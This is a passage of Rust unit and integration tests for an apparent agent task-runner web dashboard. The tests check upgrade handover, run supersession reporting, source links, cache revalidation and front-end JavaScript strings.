23272 let fx = Fixture::start().await;
23273 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23274 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23275 progress.advance(crate::updater::Stage::Parking);
23276 let hours = Duration::from_secs(3 * 3600);
23277 progress.started_at = Timestamp::now() - hours;
23278 progress.updated_at = Timestamp::now() - hours;
23279 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23280 let _lease = crate::updater::LeaseGuard::enter(
23281 fx.home.path(),
23282 Some("20260905-000000-cd51".to_owned()),
23283 );
23284
23285 let health = fx.get("/api/health").await.json();
23286 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23287 assert!(health["upgrade"]["stuck_kind"].is_null());
23288 assert_eq!(health["upgrade"]["handover_alive"], true);
23289 let waiting_on = health["upgrade"]["waiting_on"]
23290 .as_str()
23291 .expect("waiting_on");
23292 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23293 }
23294
23295 fn idle_ui(home: &TempDir) -> Ui {
23296 let runs = home.path().join("runs");
23297 std::fs::create_dir_all(&runs).expect("runs dir");
23298 Ui::new(
23299 Queue::at(home.path().join("queue")),
23300 Questions::at(home.path().join("questions")),
23301 Talks::at(home.path().join("talks")),
23302 runs,
23303 home.path().to_path_buf(),
23304 PathBuf::from("/repo/magi"),
23305 )
23306 .with_launch(launch_idle)
23307 }
23308
23309 #[tokio::test]
23310 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23311 let home = TempDir::new().expect("temp home");
23312 let ui = idle_ui(&home);
23313 let lease = crate::worker::try_lease(home.path(), "scheduler")
23314 .expect("scheduler lease")
23315 .expect("free");
23316 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23317 .expect("request stop");
23318 let error = ui
23319 .start_detached_loop()
23320 .await
23321 .expect_err("transition is still live");
23322 assert_eq!(error.status, StatusCode::CONFLICT);
23323 assert!(error.message.contains("still running or stopping"));
23324 assert_eq!(
23325 crate::worker::control(home.path(), "scheduler").unwrap(),
23326 Some(crate::worker::Control::Stop)
23327 );
23328 drop(lease);
23329 }
23330
23331 #[tokio::test]
23332 async fn handover_releases_listener_without_waiting_for_execution_leases() {
23333 let home = TempDir::new().expect("temp home");
23334 let ui = idle_ui(&home);
23335 let turns = ui
23336 .begin_talk_turn("active-chat")
23337 .expect("claim")
23338 .expect("free");
23339 let execution = crate::worker::try_lease(home.path(), "active-task")
23340 .expect("execution lease")
23341 .expect("free");
23342 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23343 .await
23344 .expect("bind loopback");
23345 let address = listener.local_addr().expect("address");
23346 let admissions = Arc::clone(&ui.admissions);
23347 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23348 let successor_started = std::sync::atomic::AtomicBool::new(false);
23349 tokio::time::timeout(
23350 Duration::from_secs(2),
23351 hand_over(home.path(), &admissions, served, || {
23352 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23353 Ok(1)
23354 }),
23355 )
23356 .await
23357 .expect("restart must not wait for execution")
23358 .expect("handover");
23359 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23360 let successor = bind_waiting(address)
23363 .await
23364 .expect("successor binds released address");
23365 assert_eq!(successor.local_addr().unwrap(), address);
23366 assert!(turns.owns(), "the chat lease survives restart");
23367 assert!(
23368 crate::worker::try_lease(home.path(), "active-task")
23369 .unwrap()
23370 .is_none()
23371 );
23372 drop(execution);
23373 drop(turns);
23374 }
23375
23376 #[tokio::test]
23377 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23378 let home = TempDir::new().expect("temp home");
23379 let ui = idle_ui(&home);
23380 let admission = ui.begin_admission().expect("admit send");
23381 let turn = ui
23382 .begin_talk_turn("active-chat")
23383 .expect("claim")
23384 .expect("free");
23385 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23386 .await
23387 .expect("bind loopback");
23388 let address = listener.local_addr().expect("address");
23389 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23390 let successor_called = std::sync::atomic::AtomicBool::new(false);
23391 let handover = hand_over(home.path(), &ui.admissions, served, || {
23392 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23393 Ok(1)
23394 });
23395 tokio::pin!(handover);
23396 std::future::poll_fn(|cx| {
23399 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23400 std::task::Poll::Ready(())
23401 })
23402 .await;
23403 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23404 assert!(
23405 ui.begin_admission().is_err(),
23406 "new ingress cannot race the drain"
23407 );
23408 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23409 drop(admission);
23410 tokio::time::timeout(Duration::from_secs(2), handover)
23411 .await
23412 .expect("only publication may delay restart")
23413 .expect("handover");
23414 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23415 assert!(
23416 turn.owns(),
23417 "the detached chat turn is not awaited or cancelled"
23418 );
23419 assert!(
23420 ui.begin_admission().is_err(),
23421 "old accepted connections stay closed"
23422 );
23423 drop(turn);
23424 }
23425
23426 #[test]
23427 fn health_worker_metadata_never_contains_payload_or_result() {
23428 let view = WorkerView::from(crate::worker::Job {
23429 id: "job".into(),
23430 sequence: 1,
23431 kind: "service".into(),
23432 key: "maintenance".into(),
23433 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23434 generation: "generation".into(),
23435 version: Some("1.2.3".into()),
23436 status: crate::worker::Status::Running,
23437 result: Some("private diagnostics".into()),
23438 pid: Some(4242),
23439 created_at: 1,
23440 finished_at: None,
23441 });
23442 let value = serde_json::to_value(view).expect("serialize public metadata");
23443 assert_eq!(value["version"], "1.2.3");
23444 assert_eq!(value["pid"], 4242);
23445 assert!(value.get("payload").is_none());
23446 assert!(value.get("result").is_none());
23447 assert!(!value.to_string().contains("private"));
23448 }
23449
23450 #[test]
23451 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23452 let home = TempDir::new().expect("temp home");
23453 let ui = idle_ui(&home);
23454 std::fs::write(
23455 home.path().join("daemon.json"),
23456 serde_json::json!({
23457 "schema": 2, "pid": 4242, "worker_protocol": 1,
23458 "updated_at": Timestamp::now().to_string(), "idle": true,
23459 })
23460 .to_string(),
23461 )
23462 .expect("status");
23463 let reading = daemon::read_status(home.path());
23464 assert!(Foreign::of(reading.as_ref()).is_none());
23465 let view = ui.runtime_loop_view(reading, &[]);
23466 assert!(view.running);
23467 assert!(view.owned);
23468 }
23469
23470 #[test]
23471 fn only_an_explicit_one_requests_a_resume() {
23472 assert!(!resume_requested(None));
23473 assert!(!resume_requested(Some("0".into())));
23474 assert!(!resume_requested(Some("".into())));
23475 assert!(resume_requested(Some("1".into())));
23476 }
23477
23478 #[test]
23479 fn an_error_is_visible_from_where_the_button_is() {
23480 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23485 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23486 assert!(
23487 alert.contains("position: fixed"),
23488 "an error about the thing under your thumb has to be visible from \
23489 where your thumb is: {alert}"
23490 );
23491 assert!(
23492 alert.contains("z-index: 25"),
23493 "above the dock (20) and the run-actions FAB (15), so neither \
23494 buries it: {alert}"
23495 );
23496 assert!(
23497 alert.contains("var(--tap)"),
23498 "and clear of the dock and the home indicator: {alert}"
23499 );
23500 assert!(
23503 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23504 "the FAB's column stays free: {alert}"
23505 );
23506 }
23507
23508 #[tokio::test]
23509 async fn an_older_attempt_says_what_replaced_it() {
23510 let fx = Fixture::start().await;
23511 let q = fx.queue();
23512 let runs = fx.runs();
23513 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23514 write_run(&runs, first, RunStatus::Stalled);
23515 write_run(&runs, second, RunStatus::Blocked);
23516
23517 let mut t = Task::new(
23518 "one task".to_owned(),
23519 "do it".to_owned(),
23520 PathBuf::from("/repo"),
23521 Source::Human,
23522 );
23523 t.runs = vec![first.to_owned(), second.to_owned()];
23524 q.put(&mut t).expect("put");
23525
23526 let rows = fx.get("/api/runs").await.json();
23530 let by = |short: &str| -> Value {
23531 rows.as_array()
23532 .unwrap()
23533 .iter()
23534 .find(|r| r["short"] == short)
23535 .cloned()
23536 .unwrap_or(Value::Null)
23537 };
23538 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23539 assert!(
23540 by("bbbb")["superseded_by"].is_null(),
23541 "the latest attempt is not superseded by anything"
23542 );
23543 assert!(APP_JS.contains("run.superseded_by"));
23545 assert!(APP_JS.contains("Superseded by"));
23546 }
23547
23548 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23549 let mut t = Task::new(
23550 "one task".to_owned(),
23551 "do it".to_owned(),
23552 PathBuf::from("/repo"),
23553 Source::Human,
23554 );
23555 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23556 t.status = status;
23557 t
23558 }
23559
23560 #[test]
23561 fn source_link_picks_the_page_that_filed_the_task() {
23562 let agent = |node: &str| Source::Agent {
23563 run: "20260904-014455-ab12".to_owned(),
23564 node: node.to_owned(),
23565 };
23566 let chat = source_link(&agent("chat")).expect("chat link");
23567 assert_eq!(chat.kind, "chat");
23568 assert_eq!(chat.id, "20260904-014455-ab12");
23569 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23570 let run = source_link(&agent("implement")).expect("run link");
23571 assert_eq!(
23572 (run.kind, run.href.as_str()),
23573 ("run", "#/runs/20260904-014455-ab12")
23574 );
23575 assert_eq!(source_link(&Source::Human), None);
23576 assert_eq!(
23577 source_link(&Source::Issue {
23578 number: 3,
23579 repo: "o/r".to_owned()
23580 }),
23581 None
23582 );
23583 let odd = source_link(&Source::Agent {
23584 run: "a b/c".to_owned(),
23585 node: "chat".to_owned(),
23586 })
23587 .expect("link");
23588 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23589 }
23590
23591 #[test]
23592 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23593 assert!(
23594 !APP_JS.contains("src.node === \"chat\""),
23595 "inline href rule is back"
23596 );
23597 assert!(
23598 APP_JS.matches("sourceLinkOf(").count() >= 4,
23599 "helper must serve every page"
23600 );
23601 assert!(
23602 APP_JS.matches("openChatLink(").count() >= 3,
23603 "the run page still needs its explicit chat link"
23604 );
23605 assert!(
23606 !APP_JS.contains("const openChat = el("),
23607 "the Queue card duplicates its source label link again"
23608 );
23609 assert!(
23610 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23611 "the task page must link a chat source label too"
23612 );
23613 }
23614
23615 #[test]
23616 fn task_ref_carries_the_source_link_for_a_chat_task() {
23617 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23618 t.source = Source::Agent {
23619 run: "20260904-014455-ab12".to_owned(),
23620 node: "chat".to_owned(),
23621 };
23622 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23623 let v = serde_json::to_value(&out).expect("json");
23624 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23625 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23626 assert_eq!(v["source_label"], t.source.label());
23627
23628 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23629 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23630 .expect("json");
23631 assert!(v["source_link"].is_null(), "{v}");
23632 }
23633
23634 #[test]
23635 fn task_view_serializes_source_link() {
23636 let mut t = Task::new(
23637 "t".to_owned(),
23638 "t".to_owned(),
23639 PathBuf::from("/repo"),
23640 Source::Agent {
23641 run: "20260901-000000-aaaa".to_owned(),
23642 node: "implement".to_owned(),
23643 },
23644 );
23645 t.runs.clear();
23646 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23647 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23648 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23649 }
23650
23651 #[test]
23652 fn task_view_serializes_urgent_flag() {
23653 let mut t = Task::new(
23654 "t".to_owned(),
23655 "t".to_owned(),
23656 PathBuf::from("/repo"),
23657 Source::Human,
23658 );
23659 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23660 assert_eq!(v["urgent"], false, "{v}");
23661 t.urgent = true;
23662 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23663 assert_eq!(v["urgent"], true, "{v}");
23664 assert!(APP_JS.contains("task.urgent === true"));
23665 }
23666
23667 #[tokio::test]
23668 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23669 let fx = Fixture::start().await;
23670 let runs = fx.runs();
23671 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23672 write_run(&runs, old, RunStatus::Blocked);
23673 write_run(&runs, new, RunStatus::Merged);
23674 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23675 fx.queue().put(&mut t).expect("put");
23676
23677 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23678 let task = &view["task"];
23679 assert_eq!(task["status"], "done");
23680 assert_eq!(task["is_latest"], false);
23681 assert_eq!(task["latest"]["short"], "bbbb");
23682 assert_eq!(task["finished_by"]["id"], new);
23683 assert_eq!(task["finished_by"]["outcome"], "merged");
23684 assert_eq!(task["closed_by_hand"], false);
23685 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23686 assert!(APP_JS.contains("finished_by"));
23687 assert!(APP_JS.contains("superseded by run"));
23688 }
23689
23690 #[tokio::test]
23691 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23692 let fx = Fixture::start().await;
23693 let runs = fx.runs();
23694 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23695 write_run(&runs, old, RunStatus::Stalled);
23696 write_run(&runs, new, RunStatus::Blocked);
23697 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23698 fx.queue().put(&mut t).expect("put");
23699
23700 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23701 assert_eq!(task["status"], "held");
23702 assert_eq!(task["is_latest"], true);
23703 assert!(task["latest"].is_null());
23704 assert!(task["finished_by"].is_null());
23705 assert_eq!(task["closed_by_hand"], false);
23706 }
23707
23708 #[tokio::test]
23709 async fn a_direct_run_has_no_task_outcome() {
23710 let fx = Fixture::start().await;
23711 let runs = fx.runs();
23712 let id = "20260901-000000-aaaa";
23713 write_run(&runs, id, RunStatus::Blocked);
23714 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23715 assert!(view["task"].is_null());
23716 }
23717
23718 #[test]
23719 fn task_outcome_does_not_guess_a_finishing_run() {
23720 let a = "20260901-000000-aaaa";
23721 let b = "20260901-000000-bbbb";
23722 let c = "20260901-000000-cccc";
23723 let dir = tempfile::tempdir().expect("tempdir");
23724 write_run(dir.path(), a, RunStatus::Blocked);
23725 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23726 let read = |id: &str| read_run(dir.path(), id).ok();
23728 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23731 let out = task_outcome(&t, a, 3, read);
23732 assert!(out.finished_by.is_none());
23733 assert!(out.closed_by_hand);
23734 let latest = out.latest.expect("latest");
23735 assert_eq!(latest.id, c);
23736 assert_eq!(latest.status, None);
23737 assert_eq!(latest.outcome, "record unreadable");
23738
23739 write_run(dir.path(), c, RunStatus::Ready);
23741 let t = outcome_task(&[a, c], TaskStatus::Done);
23742 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23743 assert_eq!(out.finished_by.expect("finisher").id, c);
23744 assert!(!out.closed_by_hand);
23745
23746 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23748 assert!(task_outcome(&t, a, 3, read).is_latest);
23749 }
23750
23751 #[tokio::test]
23752 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23753 let fx = Fixture::start().await;
23758 let q = fx.queue();
23759 let runs = fx.runs();
23760 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23761 write_run(&runs, first, RunStatus::Blocked);
23762 write_run(&runs, second, RunStatus::Merged);
23763
23764 let mut t = Task::new(
23765 "one task".to_owned(),
23766 "do it".to_owned(),
23767 PathBuf::from("/repo"),
23768 Source::Human,
23769 );
23770 t.runs = vec![first.to_owned(), second.to_owned()];
23771 q.put(&mut t).expect("put");
23772
23773 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23774 assert_eq!(earlier["superseded_by"], "dddd");
23775 assert_eq!(earlier["latest_attempt"]["id"], second);
23776 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23777 assert_eq!(
23778 earlier["latest_attempt"]["resolved"], true,
23779 "the run that replaced it landed, so this one reads as settled"
23780 );
23781
23782 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23783 assert!(
23784 later["superseded_by"].is_null(),
23785 "the latest attempt is not superseded by anything"
23786 );
23787 assert!(
23788 later["latest_attempt"].is_null(),
23789 "the latest attempt has no later attempt of its own"
23790 );
23791
23792 assert!(APP_JS.contains("run.latest_attempt"));
23799 assert!(APP_JS.contains("data-superseded"));
23800 assert!(APP_JS.contains("#/runs/${latest.id}"));
23801 }
23802
23803 #[tokio::test]
23804 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23805 let fx = Fixture::start().await;
23811 let q = fx.queue();
23812 let runs = fx.runs();
23813 let (a, b, c) = (
23814 "20260901-000000-aaaa",
23815 "20260901-000000-bbbb",
23816 "20260901-000000-cccc",
23817 );
23818 write_run(&runs, a, RunStatus::Blocked);
23819 write_run(&runs, b, RunStatus::Blocked);
23820 write_run(&runs, c, RunStatus::Merged);
23821
23822 let mut t = Task::new(
23823 "retried twice".to_owned(),
23824 "do it".to_owned(),
23825 PathBuf::from("/repo"),
23826 Source::Human,
23827 );
23828 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23829 q.put(&mut t).expect("put");
23830
23831 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23832 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23833 assert_eq!(
23834 view["latest_attempt"]["id"], c,
23835 "the chain's current head, not the intermediate Blocked retry"
23836 );
23837 assert_eq!(view["latest_attempt"]["resolved"], true);
23838
23839 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23840 assert_eq!(mid["latest_attempt"]["id"], c);
23841 assert_eq!(mid["latest_attempt"]["resolved"], true);
23842 }
23843
23844 #[tokio::test]
23845 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23846 let fx = Fixture::start().await;
23847 let q = fx.queue();
23848 let runs = fx.runs();
23849
23850 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23853 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23854 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23855 let mut t1 = Task::new(
23856 "still stuck".to_owned(),
23857 "do it".to_owned(),
23858 PathBuf::from("/repo"),
23859 Source::Human,
23860 );
23861 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23862 q.put(&mut t1).expect("put");
23863 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23864 assert_eq!(view1["latest_attempt"]["resolved"], false);
23865 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23866 assert_eq!(view1["latest_attempt"]["done"], true);
23867
23868 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23870 write_run(&runs, run_a, RunStatus::Blocked);
23871 write_run(&runs, run_b, RunStatus::Implementing);
23872 let mut t3 = Task::new(
23873 "retrying".to_owned(),
23874 "do it".to_owned(),
23875 PathBuf::from("/repo"),
23876 Source::Human,
23877 );
23878 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23879 q.put(&mut t3).expect("put");
23880 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23881 assert_eq!(view3["latest_attempt"]["id"], run_b);
23882 assert_eq!(view3["latest_attempt"]["resolved"], false);
23883 assert_eq!(view3["latest_attempt"]["done"], false);
23884
23885 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23890 write_run(&runs, noop_a, RunStatus::Blocked);
23891 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23892 let mut t2 = Task::new(
23893 "claims done".to_owned(),
23894 "do it".to_owned(),
23895 PathBuf::from("/repo"),
23896 Source::Human,
23897 );
23898 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23899 q.put(&mut t2).expect("put");
23900 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23901 assert_eq!(
23902 view2["latest_attempt"]["resolved"], false,
23903 "an unverified no-op claim must not read as a confirmed finish"
23904 );
23905
23906 assert!(APP_JS.contains("latest.resolved"));
23909 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23912 assert!(APP_JS.contains("Latest attempt: "));
23913 assert!(APP_JS.contains("in flight"));
23914 assert!(APP_JS.contains("not resolved"));
23915 }
23916
23917 #[tokio::test]
23918 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23919 let fx = Fixture::start().await;
23920 let js = fx.get("/app.js").await;
23926 assert_eq!(js.status, 200);
23927 let tag = js
23928 .header("etag")
23929 .expect("an etag to revalidate against")
23930 .to_owned();
23931 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23932 assert_eq!(
23933 js.header("cache-control"),
23934 Some("no-cache, must-revalidate"),
23935 "the phone has to ask every time"
23936 );
23937
23938 let again = fx
23941 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23942 .await;
23943 assert_eq!(
23944 again.status, 304,
23945 "a deck it already has costs one round trip"
23946 );
23947 assert!(again.body.is_empty(), "304 carries no body");
23948
23949 let weak = fx
23952 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23953 .await;
23954 assert_eq!(weak.status, 304);
23955 let stale = fx
23956 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23957 .await;
23958 assert_eq!(stale.status, 200, "an older build must be replaced");
23959 assert!(stale.body.contains("renderRunActions"));
23960 }
23961
23962 #[test]
23963 fn the_task_detail_has_an_actions_fab_and_sheet() {
23964 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23965 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23966 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23967 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23969 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23970 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23972 assert!(APP_JS.contains("renderTaskActions(null);"));
23973 let sheet = APP_JS
23975 .find("function renderTaskActions")
23976 .expect("sheet renderer");
23977 let body = &APP_JS[sheet..sheet + 3000];
23978 assert!(body.contains("changePriority("));
23979 assert!(body.contains("openTaskEdit(task)"));
23980 assert!(body.contains("renderTaskHoldBox(host"));
23981 assert!(body.contains("renderTaskDoneBox(host"));
23982 assert!(body.contains("renderTaskDeleteBox(host"));
23983 assert!(APP_JS.contains("API.priority(id)"));
23984 assert!(APP_JS.contains("API.deleteTask(id)"));
23985 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23987 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23989 }
23990
23991 #[test]
23992 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23993 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23994 let actions = INDEX_HTML
23995 .find("id=\"run-actions-box\"")
23996 .expect("actions box");
23997 assert!(task < actions, "the task entry comes first in the sheet");
23998 assert!(APP_JS.contains("renderRunTaskEntry"));
23999 assert!(APP_JS.contains("\"Open task \""));
24000 assert!(APP_JS.contains("started directly, no task"));
24002 assert!(APP_JS.contains("sheet-task-link"));
24003 assert!(APP_JS.contains("task-chip-link"));
24004 }
24005
24006 #[test]
24007 fn the_deck_never_sends_the_operator_to_a_terminal() {
24008 assert!(
24011 !APP_JS.contains("Run `magi fold` first"),
24012 "the deck must offer the fold, not prescribe a shell command"
24013 );
24014 assert!(APP_JS.contains("foldRun:"));
24015 assert!(APP_JS.contains("resumeRun:"));
24016 assert!(APP_JS.contains("renderRunActions"));
24017
24018 assert!(APP_JS.contains("armedFold"));
24020 assert!(APP_JS.contains("Yes, fold worktrees"));
24021
24022 assert!(APP_JS.contains("can no longer be resumed"));
24025 }
24026
24027 #[test]
24028 fn a_finished_run_explains_itself_with_its_own_last_line() {
24029 assert!(
24035 !APP_JS.contains("collapsed on agent quota"),
24036 "a stall must not be explained by a cause the deck did not check"
24037 );
24038 assert!(
24039 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24040 "and a block must not offer a guess with an `or` in it"
24041 );
24042
24043 assert!(
24047 APP_JS.contains("setText(r.event, run.event || \"\")"),
24048 "the run's last line is rendered unconditionally"
24049 );
24050 assert!(
24051 !APP_JS.contains("moving && run.event"),
24052 "and never gated on the run still moving"
24053 );
24054
24055 assert!(APP_JS.contains("lost to quota"));
24057 }
24058
24059 #[test]
24081 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24082 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24083 let shapes_body_start =
24084 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24085 let shapes_close = APP_JS[shapes_body_start..]
24086 .find("].map(")
24087 .expect("the shape list is closed by its done-computing .map(...)")
24088 + shapes_body_start;
24089 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24090
24091 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24092 for entry in shapes_src.split('{').skip(1) {
24093 let waiting = entry.contains("waiting: true");
24094 let dead = entry.contains("live: \"dead\"");
24095 let status_at =
24096 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24097 let status_end = entry[status_at..]
24098 .find('"')
24099 .expect("the status string is closed")
24100 + status_at;
24101 let parked = entry.contains("display_status: \"parked\"");
24102 shapes.push((
24103 waiting,
24104 entry[status_at..status_end].to_string(),
24105 dead,
24106 parked,
24107 ));
24108 }
24109 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24110
24111 let done_rule_marker = "done: !";
24115 let done_rule_at = APP_JS[shapes_close..]
24116 .find(done_rule_marker)
24117 .expect("the done rule follows the shape list")
24118 + shapes_close
24119 + done_rule_marker.len();
24120 let includes_at = APP_JS[done_rule_at..]
24121 .find(".includes(shape.status)")
24122 .expect("the done rule ends in .includes(shape.status)")
24123 + done_rule_at;
24124 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24125 .trim()
24126 .trim_start_matches('[')
24127 .trim_end_matches(']')
24128 .split(',')
24129 .map(|s| s.trim().trim_matches('"'))
24130 .filter(|s| !s.is_empty())
24131 .collect();
24132
24133 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24134 .into_iter()
24135 .map(|(waiting, status, dead, parked)| {
24136 let done = !not_done.contains(&status.as_str());
24137 (waiting, status, dead, parked, done)
24138 })
24139 .collect();
24140
24141 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24145 if waiting {
24146 return "waiting";
24147 }
24148 if dead
24149 && !parked
24150 && !matches!(
24151 status,
24152 "merged"
24153 | "ready"
24154 | "stalled"
24155 | "blocked"
24156 | "failed"
24157 | "verified_noop"
24158 | "superseded"
24159 | "already_in_base"
24160 )
24161 {
24162 return "stale";
24163 }
24164 match status {
24165 "merged" | "ready" => "landed",
24166 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24167 | "already_in_base" => "ended",
24168 _ => "flight",
24169 }
24170 }
24171
24172 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24175 match filter_key {
24176 "active" => !done,
24177 "flight" => !done && !waiting && !dead,
24178 "stale" => !done && !waiting && dead,
24179 "waiting" => waiting,
24180 "done" => done,
24181 "all" => true,
24182 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24183 }
24184 }
24185
24186 let compatible = |section: &str, filter_key: &str| {
24187 shapes.iter().any(|(waiting, status, dead, parked, done)| {
24188 run_section(*waiting, status, *dead, *parked) == section
24189 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24190 })
24191 };
24192
24193 let expected = [
24198 ("waiting", [true, false, false, true, true, true]),
24199 ("stale", [true, false, true, false, false, true]),
24200 ("flight", [true, true, false, false, false, true]),
24201 ("landed", [false, false, false, false, true, true]),
24202 ("ended", [false, false, false, false, true, true]),
24203 ];
24204 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24205
24206 for (section, wants) in expected {
24207 for (filter_key, want) in filter_keys.iter().zip(wants) {
24208 assert_eq!(
24209 compatible(section, filter_key),
24210 want,
24211 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24212 );
24213 }
24214 }
24215
24216 assert!(
24219 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24220 );
24221 assert!(APP_JS.contains(
24222 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24223 ));
24224 assert!(APP_JS.contains(
24225 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24226 ));
24227 }
24228
24229 #[tokio::test]
24230 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24231 let dir = tempfile::tempdir().expect("tempdir");
24235 let explicit = dir.path().join("not-a-checkout");
24236 std::fs::create_dir_all(&explicit).expect("create dir");
24237 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24238
24239 let missing = dir.path().join("does-not-exist-at-all");
24240 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24241 }
24242
24243 #[test]
